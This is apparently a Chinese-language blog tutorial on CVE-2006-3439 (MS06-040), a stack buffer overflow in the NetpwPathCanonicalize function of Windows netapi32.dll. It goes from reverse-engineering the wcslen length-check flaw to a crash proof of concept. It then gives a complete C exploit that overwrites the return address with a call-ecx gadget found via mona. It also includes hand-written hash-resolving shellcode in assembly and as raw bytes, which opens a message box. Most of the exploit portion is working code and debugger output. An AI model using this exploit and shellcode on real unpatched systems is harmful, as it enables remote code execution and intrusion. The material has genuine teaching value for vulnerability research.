CVE-2006-3439漏洞原理分析
透過IDA Pro載入netapi32.dll動態連結庫,來進行分析CVE-2006-3439漏洞產生的原理。
透過IDA全域性搜尋函式功能,直接搜尋存在問題的NetpwPathCanonicalize函式,雙擊進行跳轉到NetpwPathCanonicalize函式位置。
透過動態分析可以知道漏洞點發生在下圖中CALL中。
看到在開始sub esp,414h進行開闢棧空間,它是用來儲存拼接後的字串。mov ebx,411h進行邊界檢查,檢視資料是否溢位。漏洞產生原因主要處在wcslen上,wcslen主要是對字元進行計算,類似於strlen函式,區別在於wcslen計算的是WCHAR型別,在棧空間中內容都是以位元組作為計算,用的是ASCII編碼,而wcslen使用的是Unicode編碼,用的是兩個位元組,就是同樣長度的字串會少算了一半。前面他檢查分411h但是我們可以傳入822h位元組,這個是十六進位制的。
看到cmp ax,5ch他就是動態分析時候進行拼接/。call edi計算path路徑的Unicode長度,結果儲存到了eax當中,下邊add eax,esi是把兩個字串拼接後大小存到eax當中,第二次邊界檢查依然是透過0x411進行檢查,但是它存在問題。上邊prefix不能利用是因為他在外邊進行了二次檢查,而path是可以利用的,因為沒有對他進行檢查,以此可以知道path是可以傳超長字串,最長可達411h的二倍。因為這裡檢查的還是Unicode編碼而不是ASCII編碼。執行下邊函式他會把path拼接到prefix後面,長度已超過開闢的414h長度,所以造成溢位可以進行利用。
CVE-2006-3439漏洞動態分析
CVE-2006-3439漏洞有補丁號為KB921883,如果計算機沒有打此補丁,此漏洞就可以利用。
#include
typedef void (*MYPROC)(LPTSTR);
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
//load vulnerability netapi32.dll which we got from a WIN2K sp4 host
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,'a',sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'b',sizeof(prefix)-2);
//__asm int 3
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
FreeLibrary(LibHandle);
}
此漏洞出現在netapi32.dll動態連結庫中,是NetpwPathCanonicalize函式出現了問題,該函式本身是一個網路路徑字串格式化的函式,Unicode編碼字串處理功能。(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);首先會先看prefix 引數是不是buffer,如果這個buffer不是空的,那麼就把prefix 裡面的內容和path路徑裡的內容透過一個反斜槓連線起來,連線起來會把他們放到can_path裡面。如果prefix 和path越界了或不夠大就有可能直接退出。netapi32.dll動態連結庫是微軟的一個系統庫,可以進行遠端利用。透過memset對path和prefix進行了初始化,首先初始化成了0在對兩個buffer分別用a和b進行覆蓋。因為netapi32.dll動態連結庫中NetpwPathCanonicalize函式存在問題,所以透過使用GetProcAddress方式拿到他的地址。
執行程式碼他會直接崩掉,可以看到Offset: 61616161是他的溢位地址,正常溢位不會出現這種地址,61是ASCII中a的編碼,所以說返回地址被其中一個buffer給覆蓋掉了。
接下來進行動態分析,首先開啟生成的Release可執行檔案中把NETAPI32.DLL放進去,因為程式碼中呼叫NETAPI32.DL是以相對路徑呼叫的。
剛進來他是處在系統模組中,直接F9進入到我們程式當中。
看到0040119F地址call ms_06_040.401000就是分析程式的主函式。主函式有三個引數,透過特徵可以看他呼叫call之前進行了三次push,他使用的呼叫約定是stdcall,stdcall引數從右至左的順序壓引數入棧。stdcall和cdecl呼叫約定都是從右至左的順序壓引數入棧,區別在於stdcall需要透過add進行手動平棧而cdecl由系統平棧。
此漏洞問題出現在call edx當中。call edx是一個經典的函式指標,因為在編譯的時候edx地址還不確定,它是後覆蓋進去的。
直接F8或F9往下走,可以看到它的EBP和EIP都是61616161,說明EBP和EIP都被其中一個buffer給覆蓋了
因為他call edx,在暫存器中可以看到edx他其實就是有漏洞的API函式。
直接把edx的地址取出來,ctrl+G跳到NetpwPathCanonicalize裡去。
第一次分析的話就要一步一步往下走,看他在哪一個call下飛了,然後就進去分析那個call,過程不做演示,此次直接定位到問題函式進行分析。
進入到netapi32.dll中發現sub esp,414,開闢了一塊很大的空間。mov edi,dword ptr ds:[<&wcslen>]計算了一下長度,其實就是做了一個驗證。
發現它存在&wcscpy和&wcscat,問題就出現在&wcscat上。wcscpy作用是複製字串到棧裡面去。
首先call dword ptr ds:[<&wcscpy>]進行了call,可以看到他的引數是從eax來的,而eax值是從[ebp-414]來的,我們直接跳到ebp-414。
透過右鍵->在記憶體視窗中轉到->轉到ebp-414位置。
可以看到記憶體中一大片62,最後有兩個00,這個00是初始化時候故意留的兩個,進行了-2操作,有了0000結尾他就是Unicode編碼字串結尾了。
單步程式到7517FCCC位置他還沒有出現問題。
在執行一步發現0000沒有了,其中一個00被5C覆蓋了,所以這個就是拼接進去一個/,因為這個拼接進去/,導致00被覆蓋,以此這個字串沒有了結尾。
在此wcscat下邊還存有一個wcscat,直接跳轉過去。
透過觀察記憶體視窗結尾,目前還是5C00,執行完第二個wcscat他會發生改變。
可以看到wcscat把a拼接到了後面,而且他沒有了0000結束,這個字串是沒有斷開的,這麼複製過來後就出現了問題。這就是他溢位的一個基本原因。可以看到是61把path路徑串給覆蓋了。
透過這個可以知道0012F6A8就是EBP,下邊0012F6AC就是返回地址,0012F294為buffer的起始地址。
在ret結束位置下斷點跳轉過去,返回地址是0012F6AC,ECX是0012F294為buffer的起始地。所以就可以把prefix或跟path一部分空間直接設定成shellcode。
利用immunity debugger工具mona,在命令列輸入!mona find -s "\xFF\xD1" -m netapi32.dll,此命令意思透過mona查詢指定指令call ECS和指定模組netapi32.dll。結果可以看到有很多地址,目前只記0x751852F9和0x7518AE6C兩個地址。
計算返回地址到起始地址距離,返回地址0012F6AC-0012F294起始地址=0x418 - prefix的100位元組 = 0x318,所以就要在0x318的位置上把返回地址進行淹沒。
#include
typedef void (*MYPROC)(LPTSTR);
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6c\x74\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
//load vulnerability netapi32.dll which we got from a WIN2K sp4 host
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,0x90,sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'b',sizeof(prefix)-2);
memcpy(prefix,shellcode,168);
//0x751852F9
path[0x318] = 0xF9;
path[0x319] = 0x52;
path[0x31A] = 0x18;
path[0x31B] = 0x75;
//__asm int 3
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
FreeLibrary(LibHandle);
}
透過mona已經獲取到了兩個地址0x751852F9和0x7518AE6C,透過計算算出要覆蓋的地址0x318,以位元組形式進行賦值把0x751852F9以小端序方式賦給0x318開始到0x31B位置。目前初始化a已經沒有意義,進行全部初始化成0x90為not指令,插入一段shellcode透過memcpy(prefix,shellcode,168);命令,意思是把shellcode程式碼複製到prefix中一共是168個位元組。
重新編譯完之後再次分析一下,跳到netapi32.dll返回地方可以看到,ESP地址為0x0012F6A8跳轉到堆疊,地址是剛才設定的,ECX地址為0x0012F290棧中指向0x0A6A68FC這個就是shellcode的地址。
跳轉之後發現發進行call ecx,現在ecx地址就是shellcode的位置。
再次執行跳轉到shellcode位置進行了彈窗。
ShellCode編寫
void main()
{
_asm{
nop
nop
nop
nop
nop
nop
nop
CLD
push 0x1e380a6a
push 0x4fd18963
push 0x0c917432
mov esi,esp
lea edi,[esi-0xC]
xor ebx,ebx
mov bh,0x04
sub esp,ebx
mov bx,0x3233
push ebx
push 0x72657375
push esp
xor edx,edx
mov ebx,fs:[edx + 0x30]
mov ecx,[ebx + 0x0c]
mov ecx,[ecx + 0x1c]
mov ecx,[ecx]
mov ebp,[ecx + 0x08]
find_lib_functions:
lodsd
cmp eax,0x1e380a6a
jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp
find_functions:
pushad
mov eax,[ebp + 0x3c]
mov ecx,[ebp + eax + 0x78]
add ecx,ebp
mov ebx,[ecx + 0x20]
add ebx,ebp
xor edi,edi
next_function_loop:
inc edi
mov esi,[ebx + edi * 4]
add esi,ebp
cdq
hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx,[esp + 0x1c]
jnz next_function_loop
mov ebx,[ecx + 0x24]
add ebx,ebp
mov di,[ebx + 2 * edi]
mov ebx,[ecx + 0x1c]
add ebx,ebp
add ebp,[ebx + 4 * edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx
push 0x66666666
push 0x66666666
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi - 0x04]
push ebx
call [edi - 0x08]
nop
nop
nop
nop
nop
nop
nop
}
}
把上邊程式碼生成可執行檔案,透過dbg開啟找shellcode位置,下圖為shellcode地址。
進去看到上邊寫的shellcode進行復制,從cld到結尾帶一個not,選擇二進位制複製。
把複製出來的shellcode二進位制以十六進位制文字形成貼上到010Editor,再以C程式碼形式複製出來。
FC 68 6A 0A 38 1E 68 63 89 D1 4F 68 32 74 91 0C 8B F4 8D 7E F4 33 DB B7 04 2B E3 66 BB 33 32 53 68 75 73 65 72 54 33 D2 64 8B 5A 30 8B 4B 0C 8B 49 1C 8B 09 8B 69 08 AD 3D 6A 0A 38 1E 75 05 95 FF 57 F8 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 59 20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06 3A C4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75 E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD 03 2C BB 95 5F AB 57 61 3D 6A 0A 38 1E 75 A9 33 DB 53 68 66 66 66 66 68 66 66 66 66 8B C4 53 50 50 53 FF 57 FC 53 FF 57 F8 90
unsigned char shellcode[] = {
0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63, 0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7, 0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2, 0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0x05, 0x95,0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C, 0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59,0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE, 0x06, 0x3A,0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0, 0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24, 0x1C, 0x75,0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03,0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9, 0x33, 0xDB,0x53, 0x68, 0x66, 0x66, 0x66, 0x66, 0x68, 0x66, 0x66, 0x66, 0x66, 0x8B, 0xC4, 0x53, 0x50, 0x50,0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8, 0x90
};
CVE-2006-3439遠端利用
受害者
攻擊者
漏洞利用
相關文章
- Nftables漏洞原理分析(CVE-2022-32250)2024-05-06
- Spring4Shell的漏洞原理分析2022-04-02Spring
- (CVE-2019-5786) 漏洞原理分析及利用2020-07-01
- 邏輯漏洞挖掘之XSS漏洞原理分析及實戰演練 | 京東物流技術團隊2023-09-27
- 【漏洞分析】KaoyaSwap 安全事件分析2022-08-28事件
- JSON劫持漏洞分析2018-05-17JSON
- BlueKeep 漏洞利用分析2019-09-20
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析2020-07-02
- common-collections中Java反序列化漏洞導致的RCE原理分析2020-08-19Java
- RCE(遠端程式碼執行漏洞)原理及漏洞利用2022-03-17
- CVE-2014-0038核心漏洞原理與本地提權利用程式碼實現分析2020-08-19
- PfSense命令注入漏洞分析2020-08-19
- SSRF漏洞簡單分析2020-07-16
- tp5漏洞分析2024-06-30
- SparseArray原理分析2018-10-30
- SparseIntArray原理分析2018-11-08
- Promise原理分析2019-01-14Promise
- Handler原理分析2019-04-02
- mysqldump原理分析2018-04-29MySql
- HSF原理分析2018-08-05
- ThreadLocal原理分析2020-05-26thread
- ReentrantLock原理分析2020-06-08ReentrantLock
- Xposed原理分析2020-08-02
- AST 原理分析2019-04-28AST
- SpringIOC原理分析2019-06-26Spring
- KVO原理分析2021-11-21
- ThreadLocal 原理分析2021-01-25thread
- 漏洞分析——變數缺陷漏洞及通用異常捕獲宣告缺陷漏洞2021-09-01變數
- CVE-2017-8890漏洞分析2018-08-15
- Windows PrintDemon提權漏洞分析2020-05-25Windows
- 軟體漏洞分析技巧分享2020-08-19
- CVE-2015-1641漏洞分析2020-08-19
- 關於libStagefright系列漏洞分析2020-08-19
- CVE-2020-1362 漏洞分析2020-07-28
- CVE-2013-3906漏洞分析2018-04-21
- thinkphp3.2.x漏洞分析2024-06-30PHP
- 漏洞分析:CVE-2017-172152021-12-04
- Sunlogin RCE漏洞分析和使用2022-02-19